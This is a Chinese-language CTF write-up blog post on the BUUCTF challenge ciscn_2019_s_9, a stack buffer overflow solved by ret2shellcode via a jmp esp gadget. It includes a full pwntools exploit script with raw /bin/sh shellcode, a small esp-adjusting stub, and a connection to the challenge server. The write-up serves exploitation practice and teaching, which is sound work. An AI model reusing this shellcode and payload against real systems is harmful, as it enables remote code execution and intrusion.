BUUCTF-ciscn_2019_s_9

题目简介

BUUCTF上的一道ret2shellcode题目,链接在这:BUUCTF原题:ciscn_2019_s_9

漏洞点分析

首先还是拖到IDA,看到main调用了pwn函数:


进入pwn函数分析,如上图,因为距离返回地址偏移=0x24=36,而允许输入50个字符,因此存在溢出点

再看一下函数表,没找到明显的后门函数,因此考虑ret2shellcode或者ROP

之后checksec查看进一步确定方向:


可以看到保护全关,于是想到直接写shellcode即可

漏洞点利用

劫持到shellcode,最关键的步骤是确定偏移和返回地址,偏移量在上面的讨论中已经确定,所以接下来只要确定返回地址即可

但是,由于开启了ASLR,不能直接把返回地址写死为栈上的某个地址,要想办法泄露地址或者让它自动跳转到shellcode

这里有一个小的做题经验:在IDA里如果看到hint函数,大概率程序中会有jmp esp这样的汇编指令,于是去反汇编的结果中搜索一下:


顺利找到了跳转到esp的指令,因此可以无需泄露栈地址,通过esp控制执行流即可

最终的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(os="linux",arch="x86",log_level="debug")
targetELF="./pwn"
#ioTube=process(targetELF)
#ioTube=gdb.debug(targetELF,"b *0x4006a4")
ioTube=remote("node5.buuoj.cn",29656)
jmp_espAddr=0x8048554
boost=asm('''
sub esp,40
jmp esp
'''
)
shellcode=b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
payload2=shellcode+b'a'*15+p32(jmp_espAddr)+boost
ioTube.recvuntil(">\n")
ioTube.sendline(payload2)
ioTube.recv()
ioTube.interactive()

最后,还有一个值得注意的地方:

由于只能输入50个字节,在覆盖到返回地址后只剩下14个字节,肯定不够写shellcode,因此只能把shellcode放在缓冲区起始位置,因此在返回地址后面还需要一小段的引导代码(即脚本中的boost)

其实质上就是让esp指向shellcode,并再次jmp到esp


BUUCTF-ciscn_2019_s_9
http://0x4a-210.github.io/2025/07/27/pwn刷题记录/Shellcode/BUUCTF-ciscn-2019-s-9/
Posted on
July 27, 2025
Licensed under